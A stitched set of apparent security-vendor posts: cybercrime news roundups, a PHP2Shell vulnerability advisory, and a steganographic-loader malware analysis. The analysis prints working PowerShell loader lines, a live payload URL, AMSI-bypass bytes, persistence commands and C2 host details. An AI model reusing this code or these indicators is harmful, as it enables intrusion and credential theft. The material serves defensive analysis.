The Good | Courts Sentence Tax Fraudster, Interpol Disrupts African Cybercrime, and Ex-AI Engineer Faces Wiretapping Charges

A U.S. district court has sentenced Nigerian national Chukwuemeka Victor Amachukwu to eight years in prison for conducting spearphishing attacks against tax preparation firms. Following his extradition, Amachukwu has pleaded guilty to computer intrusion and wire fraud charges.

Between 2019 and 2021, he and his co-conspirators breached accounting networks across multiple U.S. states, compromising the tax and personally identifiable information (PII) of at least 800 clients. They also filed fraudulent tax returns and disaster loan applications, stealing over $3.3 million. The court sentenced Amachukwu to one year of supervised release and ordered him to pay $3.6 million in restitution and forfeit nearly $11 million.

Also this week, Interpol coordinated Operation Serengeti III alongside 21 countries and private-sector partners to disrupt cybercrime networks across Africa, with crimes ranging from business email compromise (BEC) to various scams. 

Executed between June and August 2026, the joint crackdown resulted in 1,462 arrests, the dismantling of 10,909 malicious infrastructures, and the recovery of more than $105 million in illicit proceeds. In total, the investigation identified 65,929 victims with losses estimated to be over $385 million. 

Finally, a U.S. judge has ordered the detention of former OpenAI engineer Abdulrahman Alfozan for alleged corporate espionage at the company's San Francisco office. Prosecutors revealed that the Saudi national installed customized, encrypted audio recording devices in executive conference rooms in hopes of capturing sensitive corporate conversations. 

Investigation filings exposed frequent encrypted communications between Alfozan and a Saudi Royal Family member, seeking to recruit him for a state AI initiative. Federal agents arrested Alfozan just days prior to his scheduled one-way flight to Saudi Arabia and now he faces a maximum of five years in prison if convicted.

The Bad | China-Linked Actor Deploys Agentic AI in Cloud Supply Chain Attacks

A suspected Chinese-state aligned threat actor has leveraged an agentic AI framework to execute a supply chain compromise against ConnectWise Cloud Backup, automating attacks across hundreds of global organizations. 

Active since at least 2021 and historically reliant on botnet infrastructure for evasive password spraying, the group was seen using ARTEX, a Go-based, multi-agent LLM penetration testing system, to conduct offensive operations at machine speed. By deploying AI agents configured to work around the clock, the threat actors drastically reduced the time from initial targeting to achieving privileged cloud access to under three hours in multiple targeted environments.

The actor leveraged ARTEX to automate scanning, reconnaissance, password spraying, and OAuth application abuse across a broad range of sectors, including aerospace, defense, energy, financial services, government, and technology. 

Between October 10 and October 14, 2026, the attackers launched an automated cross-tenant password-spray campaign from dedicated infrastructure, generating over 151,000 failed logon events that peaked on October 11 at 2,900 failures per minute. Then on October 15, the AI agents acquired control of identities associated with multiple ConnectWise cloud applications, using pre-granted permissions to authenticate to downstream Microsoft 365 customer environments without requiring interactive user logins.

Once authenticated, the agents ran Microsoft Graph operations to perform directory reconnaissance, alter privileged roles, and modify application credentials. By adding unauthorized credentials to existing OAuth applications, the AI agents established persistent backdoors that remain active even after remediating the primary backup software. 

The campaign saw ARTEX attempt sign-ins across more than 2,250 tenants, narrowing the response window. In response to the intrusion, ConnectWise has temporarily suspended services to isolate infrastructure and implement containment measures.

The Ugly | PHP Drops Urgent Fixes for 'PHP2Shell' RCE Flaws Targeted Before Disclosure

Emergency security updates came from the PHP security team this week to patch two critical remote code execution (RCE) vulnerabilities, collectively tracked as “PHP2Shell”, that affect core PHP runtimes across enterprise web servers. Rated CVSS 9.2 and identified as CVE-2026-109618 and CVE-2026-109619, the flaws stem from memory management and error handling defects when requests terminate unexpectedly. 

The vulnerabilities impact all PHP installations serving web traffic, including Apache with mod_php, PHP-FPM, and php-cgi, as well as FrankenPHP and LiteSpeed. Risk is particularly severe on mod_php servers, where unauthenticated requests trigger memory corruption before any application code executes, rendering content management system security controls ineffective against initial exploitation.

The emergency releases (PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35) followed advance warnings triggered when technical details leaked online prior to coordinated disclosure. Amazon Threat Intelligence detected exploitation probes targeting honeypots beginning October 17, four days before official patches were published. The early probe activity indicates that threat actors acquired vulnerability details while the security flaws remained under embargo. 

The underlying weakness had gone unresolved for two years: a 2024 audit flagged the same out-of-memory condition but couldn’t prove it was exploitable. AI-assisted auditing under OpenAI’s “Patch the Planet” program changed that, turning the long-standing weakness into confirmed working remote code execution.

PHP states that applying runtime updates is the only complete fix. Interim configurations, such as disabling session upload progress or restricting memory limits, only partially close specific attack paths.

While patching remains the primary control, SentinelOne Singularity agents detect post-exploitation behavior at the operating system level, identifying when web worker processes spawn system shells, write web shells into document roots, or initiate unauthorized outbound network connections.

Executive Summary

On October 21, 2026, the PHP project released versions 8.5.12, 8.4.27, 8.3.36, and 8.2.35 to fix two critical vulnerabilities, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. The two flaws are known together as PHP2Shell. They were disclosed by the security firms Calif and Wiz and by OpenAI, working with the PHP security team, after AI-assisted auditing turned an out-of-memory weakness that a 2024 audit had flagged but could not prove exploitable into working remote code execution.

Both vulnerabilities sit in PHP's memory management and error handling, code that nearly every request touches, and the earliest affected path dates to PHP 5.4.0. An unauthenticated attacker can execute code on the web server or read its process memory, including passwords, tokens, and API keys belonging to other requests. On Apache with mod_php, the attack runs before any application code executes, which means an application with no bugs of its own is still exposed. As of October 21, 2026, no verified proof-of-concept code is available publicly. Attack attempts have been observed by Cloudflare after the leak, but no confirmed in-the-wild compromise has yet been reported.

While upgrading every PHP runtime remains the primary control, SentinelOne agent detects attackers’ post-exploitation activities. Once an attacker has code execution on the web server process, the behavior that follows web server flaws: execute shell commands, drop and invoke webshells, download and execute custom payloads and outbound connections. On managed hosts, the Singularity™ agent and Singularity AI SIEM detection content look for such behaviors, and Purple AI® can be used to hunt for it during the patching window. The separate memory-disclosure path runs no code on the host, so it leaves no process behavior to detect; that path is instead surfaced through web server, WAF, and CDN telemetry forwarded into AI SIEM.

This report details PHP2Shell's mechanism, affected versions, and confirmed activity, and outlines how SentinelOne customers can strengthen their defenses.

Key Highlights

• The flaw is in PHP itself, not in any application. WordPress, Drupal, Joomla, Magento, Laravel, and other web applications are all exposed on an affected PHP version, because the vulnerable code is in the runtime beneath them.
• The patch is the only complete fix. PHP states plainly that no configuration change fully closes the vulnerability. Every interim mitigation reduces one attack path and leaves others open.
• The unauthenticated path runs before your code does. On Apache with mod_php, a single crafted HTTP request triggers the flaw during request startup, so application-level controls never see it. PHP assesses the risk as highest for mod_php.
• Memory disclosure leaks secrets without a shell. One path reads live worker memory and returns passwords, tokens, API keys, and certificates with no code execution, which makes it quieter than a shell and harder to catch with execution-focused tooling.
• End of Life PHP will not get a patch. Organizations running PHP 8.1 and prior will not receive an official release. Source-only backports exist for 7.4, 8.0, and 8.1, and distribution or LTS vendors may offer fixed packages.
• Leverage SentinelOne platform post-exploitation coverage. The detection by the agent is agnostic to the vulnerability and exploit chain and focuses on attackers activity following the exploit, including but not limited to, installation and usage of webshells, command executions and outbound connection behavior that follows the code execution.

Organizations should take the following steps immediately:

• Update every PHP runtime to a fixed version and restart Apache, PHP-FPM, and any long-running workers.
• Inventory internet-facing PHP, including the copies bundled inside appliances, control panels, and vendor software.
• Isolate end-of-life PHP (8.1 and older) from the internet until it can be upgraded.
• Rotate credentials, tokens, and keys that a PHP worker could hold in memory on any exposed, unpatched system.
• Monitor the official PHP changelog for relevant updates

What is PHP2SHELL

PHP2Shell is a family of memory-safety vulnerabilities in core PHP, grouped under two CVEs that share one root cause. When PHP hits a fatal condition such as exhausting its configured memory limit, it does not unwind cleanly. It abandons the current operation with a “longjmp” out of the C call stack, so no cleanup runs and nothing records that a data structure was left half-built. A later cleanup routine, or a later request, then trusts that state.

CVE-2026-109618 is the out-of-memory case. PHP marks request data as valid before allocating memory for it. If that allocation hits the memory limit and fails, the entry is left pointing to uninitialized heap memory. When the failed request runs its cleanup routine, it processes these stale bytes, leading to corruption.. 

CVE-2026-109619 is the stale-state case. When a fatal error occurs, PHP fails to clean up properly, leaving a global pointer pointing to memory that has already been freed. Because worker processes handle multiple requests, a subsequent request on the same worker can interact with this freed memory before initialization resets it – resulting in a use-after-free condition. Session upload progress (enabled by default) is a confirmed trigger for this behavior.

Both flaws were discovered through AI-assisted auditing under OpenAI's “Patch the Planet” program. Calif and OpenAI independently reported the root cause to the PHP security team on August 11, 2026, and Wiz reported additional attack vectors on August 24, 2026. PHP first saw signs of the underlying out-of-memory problem during a 2024 audit by OSTIF and Quarkslab, but no exploitation path was proven at the time and the fix stalled. The PHP Foundation has since described that delay as a structural failure in its security process.

On October 20, the two CVE identifiers leaked on social media. PHP released a patch on October 21, 2026.

PHP2SHELL at a Glance

Affected and Fixed PHP Versions

Affected and Fixed PHP Versions

Am I Affected?

Assume exposure for any PHP runtime below the fixed version for its branch. Check the version the web server actually loads, which can differ from the command-line version, using php --version for the CLI and the equivalent for PHP-FPM or the Apache module. Linux distributions and LTS vendors received the patch in advance, and a packaged build may carry the fix under an older version number, so confirm against your vendor's advisory rather than the version string alone.

PHP states that all installations serving web requests are at risk, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed, and rates the risk highest for mod_php. Do not use configuration to rule out exposure. PHP validated mod_php code execution with default input and memory limits, and states that no configuration change is a complete mitigation. OpenAI has published a PHP version checker, which should be reviewed before you run it.

How The Two CVEs Differ

Why This Matters

A flaw in PHP itself reaches far further than a flaw in any one application. PHP is widely used across the internet, and it is embedded in content management systems, control panels such as cPanel and Plesk, and a variety of vendor applications. The hard part of this response is not applying the patch. It is finding every runtime that needs it.

The patch is also the only complete fix, and a large share of PHP cannot receive it. PHP 8.1 and older are at end of life, and Talos estimates from open-source data that around half of internet-facing PHP runs on branches with no official update. Those systems need to be upgraded to a supported branch or taken off the internet, not merely reconfigured.

Exploitation is also hard to see. The memory-disclosure path returns secrets from live worker memory without running code at all, which Wiz notes makes it harder to catch with tools focused on malicious code execution. Because the flaws execute below the application layer, Wiz also reports that application logs may contain little context, and the clearest traces are in web server and PHP error logs rather than in application telemetry.

Attack Chain

Stage 1: Reaching the Flaw Over an Unauthenticated Request

The attacker sends a crafted multipart HTTP request that places PHP's memory under pressure or forces a fatal error during request startup. A chunked or lengthless request slips past the post_max_size check, and empty file controls with deeply nested field names expand a small request body into large internal allocations.

Stage 2: Corrupting Worker State

The forced out-of-memory condition or fatal error interrupts PHP in a context that does not account for the early exit. For CVE-2026-109618, Apache with mod_php runs its request shutdown unconditionally and processes the partially initialized state as if it were valid. For CVE-2026-109619, a global pointer is left referring to freed request memory, and a later request on the same worker consumes it.

Stage 3: Code Execution or Memory Disclosure

With the heap arranged to reclaim the freed or invalid memory with attacker-controlled bytes, the corrupted state becomes a memory-corruption primitive that yields code execution as the web worker. PHP confirmed complete remote code execution against mod_php with default input and memory limits. On a separate path, the attacker instead reads live worker memory and extracts passwords, tokens, API keys, and certificates belonging to other requests, returned through the PHPSESSID response cookie, with no code execution at all.

Stage 4: Post-Exploitation

Code runs with the privileges of the web server worker, commonly www-data. From there, operators drop a web shell into the web root, spawn shells and tooling such as sh, bash, python, curl, and wget, and move laterally using any credentials recovered through memory disclosure.

Hardening Recommendations

These steps apply to any PHP estate, independent of security vendor. Patching is the only complete remediation. Everything else reduces exposure during the window before every runtime is updated.

Patch Every PHP Runtime and Restart Workers

• Update to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, or to the fixed package from your Linux distribution or hosting provider.
• Restart Apache, PHP-FPM, and every long-running PHP worker after updating. The running process keeps the vulnerable code until it is restarted.
• Remember that updating an application, CMS, or framework does not update the PHP runtime beneath it.

Assess Your Exposure

• Inventory every PHP runtime: web servers first, then vendor appliances, Windows software that bundles php.exe or php-cgi.exe, control panels such as cPanel and Plesk, and any WordPress, Drupal, Joomla, or Magento install.
• Isolate end-of-life PHP (8.1 and older) behind a VPN or take it off the internet until it is upgraded to a supported branch.

Apply Interim Settings Only as a Bridge

• For CVE-2026-109618, set memory_limit=-1 administratively so applications cannot override it, and keep post_max_size low. Do not substitute RLIMIT_AS or RLIMIT_DATA, which can trigger the vulnerable path.
• For CVE-2026-109619, set session.upload_progress.enabled=0, and on PHP 8.5 set fatal_error_backtraces=0, applied before request parsing and followed by a worker restart.
• Treat all of these as partial. PHP confirms there is no complete configuration mitigation, and hiding diagnostics with error_reporting, display_errors, or the @ operator does not help.

Constrain the Request at the Edge

• At the proxy or web application firewall, enforce limits on decoded request size, input field count, multipart part count, header count per part, and nesting depth, including requests that arrive without a usable Content-Length.
• Enable your WAF or reverse proxy vendor's managed rules for PHP2Shell, which several vendors published on October 21, and test first because rules can block legitimate traffic.
• Treat the WAF as a layer, not a fix: Cloudflare saw attackers mutating payloads to bypass its rules.
• If an application does not use multipart form data, block multipart requests to it before they reach PHP.

Limit Worker Reuse and Blast Radius

• Lower PHP-FPM pm.max_requests so workers recycle more often, reducing how long the corrupted state can persist.
• Use a cgroup memory.max as an availability boundary that kills only the affected worker, not the whole pool.
• Apply SELinux or AppArmor policies to restrict what a web worker can execute.

Rotate Secrets Reachable in Process Memory

• Assume any credential, session token, API key, or certificate held by a PHP worker on an exposed, unpatched system may have been disclosed.
• Rotate them now rather than after confirmed compromise, because memory disclosure leaves little trace.

Hunt for Post-Exploitation

• Review the web root for newly created files and web shells, and watch for new cron jobs, scheduled tasks, and accounts.
• Alert on PHP worker processes (php-fpm, php-cgi, httpd, apache2, w3wp) spawning shells, interpreters, or download tools, including cmd.exe and powershell.exe on Windows.
• In web server and PHP error logs, look for unusual multipart requests followed by memory-limit fatal errors or repeated HTTP 500 responses, and for unexplained PHP worker churn (Wiz).
• Check response headers for unexpectedly large or malformed PHPSESSID cookies, which Wiz identifies as a sign of the memory-disclosure path.
• Enable log_errors, a working error_log, and error_reporting=E_ALL in startup configuration for an isolated audit, as PHP recommends, and treat a clean log as supporting evidence rather than proof of safety.
• Treat these signals as leads, not verdicts. They come from public research rather than confirmed attack traffic, and memory-limit errors and HTTP 500s also occur on healthy systems.

How SentinelOne Protects You

PHP2Shell executes inside the web server worker process, below the application. SentinelOne’s visibility begins where that worker runs on a host with the agent installed. The agent cannot see internal application activity which doesn’t interact with the OS or other processes as the memory-disclosure path. What SentinelOne can address is the behavior of the code executed by the attacker.

The Behavior After Exploitation

Code execution through a web server worker process has the worker’s privileges. From there the sequence is familiar. The attacker runs host and user discovery, pulls a second-stage payload with a built-in download utility, writes a web shell into the document root so a fragile memory bug does not have to be triggered twice, opens an outbound connection to attacker infrastructure, and reads application configuration files for database credentials.

Detection on the Host

The Singularity agent builds a storyline of every process group activity on a host, including the web server workers PHP2Shell targets. These workers have a predictable life: they answer HTTP requests. They do not normally start /bin/sh, run reconnaissance commands, download executables into /tmp, write new .php files into the web root, or open outbound connections to arbitrary hosts. Behavioral detection looks for that deviation from the worker’s normal behavior. With the policy mode set to protect, the agent can terminate the process tree and quarantine dropped artifacts. 

Detection in Singularity AI SIEM

Platform detection content looks at what happens on the host after exploitation, not at the request body.

Correlation rules tie these together. An inbound HTTP connection followed by a file drop or process spawn from the same worker is the shape of a successful PHP2Shell chain. 

Visibility at the Edge

The memory-disclosure path never starts a process, so host telemetry alone will not see it. It can leave traces in web server, WAF, and CDN logs: unusual multipart requests followed by memory-limit errors or bursts of HTTP 500s, malformed or oversized PHPSESSID cookies, and unexplained worker churn. Singularity AI SIEM can ingest those sources alongside endpoint data if you forward them. Existing content covers allowed web shell uploads, successful POSTs to server-side scripts that have never received them before, and web shell command execution at the network layer. 

Hunt with Purple AI While You Patch

Patching is the only complete fix, and the Hardening section covers interim settings. While that work runs, analysts can ask Purple AI questions such as:

• Show me web server workers that spawned a shell in the last 72 hours.
• Show me new files written to web roots by php-fpm.
• Show me hosts with a spike in 500 responses followed by a child process from Apache.
• Show me outbound connections from www-data to destinations we have never seen.

The 500-response question depends on web server logs being ingested. 

Confirm Agent Saturation on Web-Facing Servers

Confirm the agent is deployed, healthy, and in protect mode on every server that serves PHP, including internet-facing Linux hosts.

Conclusion

The exploitation picture for PHP2Shell is moving quickly. As of October 21, 2026, no verified proof-of-concept code is available publicly. Attack attempts have been observed by Cloudflare after the leak, but no confirmed in-the-wild compromise has yet been reported. SentinelOne is monitoring PHP2Shell activity and will update this report as exploitation evidence, vendor guidance, and detection content change.

SentinelOne recommends customers follow vendor guidance and prioritize patching as the primary defensive tactic. Interim settings, WAF rules, and detection reduce risk while it is deployed. Update every PHP runtime to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, restart the workers, and confirm the fix is running on the version the web server actually loads. Move PHP 8.1 and older to a supported branch or off the internet, and rotate any secrets that a worker on an unpatched, exposed system could have held in memory.

SentinelOne Black October Webinar

Disclaimer

Information contained herein is current as of October 21, 2026, and is subject to change as patch releases and threat activity evolve. Recipients should not rely solely on this report for security decisions and should consult with their security teams and SentinelOne account representatives for current guidance.

The Good | Federal Authorities Disrupt Cybercrime Syndicates & Courts Sentence Dark Web Co-Founder

Jordanian authorities detained Saif al-Din Khader, a suspected member of the ShinyHunters extortion group. Following his arrest, sources report that Khader (aka Rey) has been cooperating with the FBI and international agencies to identify and locate the remaining co-conspirators, leveraging his digital devices and communication logs. 

The reported detention follows an ongoing federal investigation on ShinyHunters’ self-claimed breach of the FBI’s administrative systems.

A federal court indicted Zohar Pinhasi for allegedly defrauding cybercrime victims that had hired his ransomware remediation company, MonsterCloud. MonsterCloud advertised the use of proprietary technology to restore encrypted files without paying ransoms. However, court filings allege Pinhasi routinely paid ransomware operators directly for decryption keys before billing clients inflated fees. 

Prosecutors claim that the scheme facilitated over $8 million in secret ransom payments while generating $19 million in revenue over five years. If convicted, Pinhasi stands to face up to 20 years in prison for one count of conspiracy to commit wire fraud and two counts of wire fraud.

A U.S. District Judge sentenced Raheim Hamilton to 40 years in prison for co-creating and operating Empire Market, one of the largest dark web marketplaces prior to its shutdown. Operating online as “Sydney” and “ZeroAngel”, Hamilton facilitated over four million transactions valued at $430 million between 2018 and 2020. 

Empire Market evaded detection by only accepting cryptocurrency payments while employing tumblers and mixers to obscure all transaction trails. Drug sales accounted for nearly $375 million of total volume, alongside stolen credentials, personally identifiable information (PII), and hacking tools. On top of the jail time, Hamilton has also agreed to forfeit three properties, 1,230 Bitcoin, and 24.4 Ether and must pay a $5 million fine. 

The Bad | Human Phishers Impersonate AI Ad Portals to Intercept Credentials and MFA Codes 

Researchers uncovered a human-operated phishing platform impersonating advertising management portals for popular AI chatbots, including ChatGPT, Gemini, Claude, Perplexity, Meta Muse, and Manus. While each brand had tailored lures, the main goal was to get victims to enter their credentials and multi-factor authentication (MFA) codes using spoofed login windows.

The operators offered up specialized “campaign optimization” capabilities such as spend audits, campaign planning, and business-account connections to target advertising agency staff, media buyers, and account administrators. Promoted through fake invitation emails, the campaign leveraged realistic landing pages such as museads[.]ai to entice unsuspecting users into connecting their enterprise accounts.

When a victim initiates the connection workflow, the platform executes a Browser-in-the-Browser (BitB) attack by rendering a fake browser window complete with a spoofed address bar pointing to trusted origins like accounts.google.com or Okta tenants. Behind the spoofed interface, the platform logs password attempts and transmits device fingerprints to attacker servers using Socket.IO connections. 

Then, a human operator actively monitors victim interactions in real time, issuing commands via Socket.IO events to steer users through specific MFA challenges, including SMS codes, authenticator app prompts, push approvals, and number-matching screens.

Built on a Next.js and Socket.IO technology stack, the underlying platform shares infrastructure across payment refund and corporate recruitment phishing schemes. One backend domain appeared in 73 archived scans across 25 page domains between late May and late June, serving AI ad lures, refund pages, and a fake careers site alike. Hundreds of victim submissions were also observed over the course of tracking the campaign, with activity ongoing at publication.

By hijacking legitimate manager accounts with clean spending histories, threat actors run unauthorized advertising campaigns or sell access on Telegram. Account recovery often takes weeks or months while compromised accounts continue serving malicious ads, extending financial damage across agency client bases. 

The Ugly | Threat Actors Target Atlassian Data Center Flaw Within Hours of Public POC

Threat actors are actively exploiting a critical (CVSS: 9.3) arbitrary file access vulnerability affecting Atlassian Data Center products within just two hours of a public proof-of-concept (PoC) being published. Tracked as CVE-2026-21589, the flaw impacts multiple enterprise applications, including Bitbucket Data Center, Confluence Data Center, Jira Software Data Center, Jira Service Management Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. 

The vulnerability allows unauthenticated attackers to retrieve specific files within the web application root directory through a single, tailored HTTP request. This stems from Atlassian's web-resource path resolution logic, which improperly converts custom path traversal sequences into relative directory paths. 

By combining these traversal sequences with specific plugin endpoints, unauthenticated attackers can bypass path restrictions and access restricted application files. While the vulnerability does not allow directory enumeration and requires prior knowledge of exact file names and paths, sensitive configuration files are still exposed. 

In systems like Atlassian Crowd and Jira, attackers could target configuration files storing administrative credentials, allowing them to gain unauthorized privilege elevation, create rogue administrative accounts, and modify user permissions.

Telemetry gathered so far points to initial exploitation attempts against honeypot networks originating from several IP addresses, with a Nuclei template now released. Most initial scanning activity focused on fingerprinting exposed instances and sweeping for common configuration files containing embedded secrets. 

To mitigate risk, Atlassian released security updates across all affected product lines and advised organizations to apply temporary mitigations, including Web Application Firewall rules, Tomcat request blocking, and restricting internet exposure. Automated scanning templates mean exploitation will keep pace with disclosure, leaving unpatched instances exposed for as long as they stay online. 

During the analysis of a recent malware sample, SentinelOne identified an anomalous execution chain, characterized by the combination of environment variable staging and steganographic payload delivery, culminating in the execution of a credential-stealing payload.

Introduction

Sometimes the most suspicious files are the ones that look the least suspicious. This attack chain begins with what appears to be a simple image download. Beneath the surface of these PNG files, though, sits a carefully hidden payload. The attacker conceals malicious code inside image files and uses a layered loader chain to extract, decode, and execute it entirely in memory. What starts as a simple script quickly becomes a complex execution chain involving steganography, an environment variable, reflective loading, and ultimately the deployment of a remote access trojan.

The chain opens with a ZIP archive containing an obfuscated VBS (Visual Basic Script). The VBS invokes PowerShell and creates an environment variable to stage encoded payload data. The PowerShell command line then retrieves two seemingly benign image files from remote URLs. Both carry hidden payloads appended to the image data.

The first image contains a DLL loader. The second carries an encoded executable payload. The DLL processes the second image, reconstructs the executable, and injects it into a legitimate .NET Framework process. From there, the malware runs in memory and performs activities such as AMSI bypass, C2 communication, and data exfiltration.

Attack Overview

The process tree below summarizes the key stages observed during dynamic analysis. The infection chain begins with a malicious VBS script (IMAGEN.vbs) that launches PowerShell to execute a payload pulled from an environment variable. It ultimately spawns MSBuild.exe as a LOLBin to run the final payload.

The detailed execution chain is illustrated below.

Initial Delivery: ZIP Archive and Obfuscated VBS Loader

The infection chain begins with a ZIP archive containing an obfuscated VBS. Once extracted and executed, the VBS script acts as the initial loader that prepares and executes the next stage of the attack.

At first glance, the script looks heavily obfuscated. It's full of repetitive string concatenation patterns and encoded data fragments. As shown in Figure 3, the script repeatedly appends decoded strings through a custom function, rebuilding a larger payload at runtime.

Deobfuscating the VBS

Remove the repetitive lines used to build the payload string, and the underlying logic gets clearer. As shown in Figure 4, the script defines several custom decoding functions that reconstruct the encoded data.

To simplify the script further, the special character strings such as "ᨱỻেख़⏍" and "QPP" were stripped by replacing them with empty strings. That cleanup step reveals the next level of the simplified script and exposes the actual execution logic the loader uses.

Leveraging Environment Variable

Once the placeholder characters are gone, the script reveals the command that executes the staged payload. As shown in Figure 5, it constructs a PowerShell command that retrieves and runs the content stored in a user-level environment variable.

The yellow highlighted section corresponds to the command line observed during execution of the VBS script. The script dynamically constructs the following PowerShell command:

powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX $env:INTERNAL_DB_CACHE;[Environment]::SetEnvironmentVariable('INTERNAL_DB_CACHE',$null,'User')"

This command does two things. First, it executes the payload stored inside the environment variable using IEX $env:<variable>. Immediately after, it clears the variable using [Environment]::SetEnvironmentVariable, reducing the forensic artifacts left on the system.

The red highlighted section is the content written into the environment variable earlier in the script. At this stage, the payload is still encoded in hexadecimal, which is converted back to ASCII before execution.

In Figure 6, we convert this hexadecimal string into its ASCII form, revealing the PowerShell payload that ultimately runs through the environment variable.

The environment variable doesn't only appear inside the script. The same artifact also shows up in the Windows registry. As shown in Figure 7, it's visible under the user environment variables registry key.

The registry entry holds the same encoded payload discussed above. That confirms the VBS script writes the staged PowerShell payload into an environment variable before executing it.

At first glance, this script also looks heavily cluttered and hard to read, thanks to extremely long variable names and encoded data blocks. Those elements are just another layer of obfuscation. They don't change what the script actually does.

Rename the variables and strip the clutter, and the core logic gets much clearer. The simplified version is shown in Figure 8.

Downloading the Steganographic Payload

The first highlighted section (Box 1) in Figure 8 shows the script retrieving an image file from a remote Firebase storage URL.

$a='https://firebasestorage.googleapis.com/.../JAMAICA.png'

$b=New-Object Net.WebClient

$c=$b.DownloadData($a)

$d=[Text.Encoding]::UTF8.GetString($c)

The downloaded file, shown in Figure 9, looks like a legitimate image. Inspect it more closely, though, and it contains extra encoded data appended after the normal PNG content. The script extracts that data later.

The script downloads the PNG and immediately converts its contents into a UTF-8 string. It never treats the file as an image. It processes the downloaded data as text to locate the embedded payload hidden inside.

Locating the Hidden Payload

The next stage of the script defines two markers used to locate the hidden payload within the downloaded image.

$e='IN-'

$f='-in1'

As shown in Figure 8, these markers act as delimiters for the start and end of the embedded payload. The script searches the downloaded image data for the markers and extracts the content between them.

Figure 10 illustrates how the payload is appended to the PNG file.

Traditional steganography hides data within image pixels. This sample takes a simpler route: it appends encoded payload data to the end of the PNG file. The marker IN- marks the start of the hidden payload, and -in1 marks the end.

Reconstructing the Hidden Payload

After extracting the encoded data between the markers, the script runs a series of transformations to reconstruct the original payload. This process is represented in Box 2 of Figure 8.

The extracted string goes through the following operations:

1. The placeholder character # is replaced with A.
2. The resulting string is converted into a character array.
3. The array is reversed.
4. The reconstructed string is Base64 decoded.

These steps produce a binary payload that loads directly into memory as a .NET assembly. The malware runs the next stage without ever writing a DLL to disk.

Retrieving the Payload

Finally, the script proceeds to the third highlighted section (Box 3) in Figure 8. Here, the loaded .NET assembly contacts another remote URL hosting a second image file with additional appended data.

Once the assembly loads, the PowerShell script invokes the DLL's entry point using reflective injection. Reflective .NET assembly injection lets a payload execute directly from memory, never written to disk. The typical execution flow is Assembly.Load(byte[]) → GetType() → GetMethod() → Invoke().

$n=[AppDomain]::CurrentDomain.Load($m) //$m has the binary

$p=$n.GetType('Fiber.Program')

$q=$p.GetMethod('Main')

$q.Invoke($NULL,[object[]]$o)

The decoded DLL in this sample is named Microsoft.Win32.TaskScheduler.dll, as shown in Figure 11.

The assembly exposes a method named Main() inside the Fiber.Program class. It accepts a large number of parameters that control the loader's behavior.

As we saw in Figure 8, the following is passed as parameters while loading and invoking the DLL:

$o=@('https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/Sa%2Fluxo%2Fimg_144505.png?alt=media&token=d0a024ee-90c4-4e54-86d0-c3c42c7d09b4','','C:\Users\Public\Downloads\','Name_File','MSBuild','','MSBuild','','URL','C:\Users\Public\Downloads\','Name_File','vbs','1','','Task_Name','0','','','');

During execution, the PowerShell script constructs an array of arguments and passes it to the DLL. The parameters passed to the Main() method (shown in Figure 11) map as follows:

The .NET loader then retrieves a second PNG image from a remote Firebase storage URL. The image, shown in Figure 12, looks visually benign but carries encoded data appended after the legitimate image content.

Analysis of Final Payload

Using the same extraction and decoding logic described earlier, the loader reconstructs the final executable payload from the embedded data. That payload is a .NET-based executable, shown in Figure 13, and it's injected into the legitimate Microsoft binary msbuild.exe. Running the malware under the context of a trusted system binary helps the attacker evade detection that relies on process reputation.

Anti-Analysis Checks

The payload runs a simple anti-analysis check to detect virtualized or sandboxed environments. As shown in Figure 14, the malware queries the WMI class Win32_CacheMemory using ManagementObjectSearcher. If the query returns no results, it assumes it's running in a virtualized environment and terminates execution using Environment.FailFast(null). Otherwise, execution continues after a brief delay.

Process Monitoring and Security Tool Termination

The malware also enumerates and monitors running processes using Windows API functions such as CreateToolhelp32Snapshot, Process32First, and Process32Next. It compares process names against a predefined list of system monitoring and security-related tools. On a match, it attempts to terminate the process, likely to disrupt analysis and evade security monitoring.

Persistence Mechanism

The payload establishes persistence through the Install() routine. It first builds the intended installation path using Environment.ExpandEnvironmentVariables(Settings.Install_Folder), then checks whether the current process is already running from that location and terminates any duplicate instances.

With administrative privileges, it runs a hidden cmd.exe command containing a Base64-encoded string that decodes to a schtasks command (/c schtasks /create /f /sc onlogon /rl highest /tn). This creates a scheduled task that runs the payload at user logon with elevated privileges.

Without admin privileges, the malware falls back to registry persistence. It decodes another Base64 string to the path SOFTWARE\Microsoft\Windows\CurrentVersion\Run and creates a value pointing to the malware executable.

Finally, the malware writes itself to the installation path and launches a temporary batch script. The script starts the installed copy, then deletes itself. Execution continues from the persistence location while leaving minimal trace of the install.

AMSI Bypass

The malware also implements an AMSI bypass to evade security monitoring. The code constructs Base64-encoded strings that resolve to amsi.dll (YW1zaS5kbGw=) and the function AmsiScanBuffer (QW1zaVNjYW5CdWZmZXI=), then loads them dynamically using LoadLibraryA and GetProcAddress.

It then prepares architecture-specific patch bytes stored in Base64 fragments: uFcAB4DD for 64-bit and uFcAB4DCGAA= for 32-bit. Decoded, these patches translate to assembly instructions that force the function to return the error code 0x80070057 (E_INVALIDARG) immediately. On 64-bit systems the patch runs mov eax, 0x80070057; ret. The 32-bit version runs mov eax, 0x80070057; ret 0x18 to handle stack cleanup.

Before applying the patch, the malware changes the memory permissions of the target function using VirtualAllocEx with PAGE_EXECUTE_READWRITE, which allows the function memory to be overwritten. It then writes the patch directly to the start of AmsiScanBuffer via Marshal.Copy, replacing the original scanning routine. From that point, any AMSI scan request returns an error, the content is never inspected, and AMSI-based detection is effectively disabled.

C2 Communication

The malware establishes command-and-control (C2) communication through the InitializeClient() routine. It creates a TCP socket using System.Net.Sockets.Socket with the InterNetwork address family and TCP protocol. It then selects a C2 host and port from configuration values (Settings.Hos_ts and Settings.Por_ts), stored as comma-separated lists. A random entry is chosen at runtime, letting the malware rotate between multiple servers.

The selected domain is resolved using Dns.GetHostAddresses(). The malware iterates through the returned IP addresses until a connection succeeds via ClientSocket.TcpClient.Connect(address, port). In the analyzed sample, the domain 44444.dynuddns.com resolves to 94.154.35.160, and the malware connects over TCP port 444 (0x1BC). Once connected, it uses the socket to communicate with the remote C2 server.

Attribution

